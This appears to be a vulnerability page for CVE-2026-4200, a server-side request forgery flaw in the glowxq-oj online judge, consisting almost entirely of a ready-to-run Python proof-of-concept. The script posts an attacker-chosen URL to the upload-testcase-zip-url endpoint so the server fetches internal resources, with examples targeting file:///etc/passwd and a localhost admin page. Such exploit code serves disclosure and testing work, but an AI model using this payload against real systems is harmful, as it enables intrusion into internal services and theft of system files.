CVE-2026-4200 glowxq-oj uploadTestcaseZipUrl函数SSRF漏洞

import requests import sys # CVE-2026-4200 SSRF PoC for glowxq-oj # Target: glowxq-oj ProblemCaseController uploadTestcaseZipUrl function def exploit_ssrf(target_url, internal_target): """ Exploit SSRF vulnerability in uploadTestcaseZipUrl function Args: target_url: Base URL of vulnerable glowxq-oj instance internal_target: Internal resource to target (e.g., http://127.0.0.1:8888, file:///etc/passwd) Returns: Response from the internal target """ endpoint = f"{target_url}/api/problem/case/upload-testcase-zip-url" # Construct malicious payload payload = { 'url': internal_target, 'problemId': '1' } try: response = requests.post(endpoint, json=payload, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2026-4200_poc.py <target_url> <internal_target>") print("Example: python cve-2026-4200_poc.py http://vulnerable-host:8080 http://127.0.0.1:8888/admin") sys.exit(1) target = sys.argv[1] internal = sys.argv[2] print(f"[*] Targeting: {target}") print(f"[*] Internal target: {internal}") print("[*] Sending malicious request...") result = exploit_ssrf(target, internal) print(f"[+] Response:\n{result}")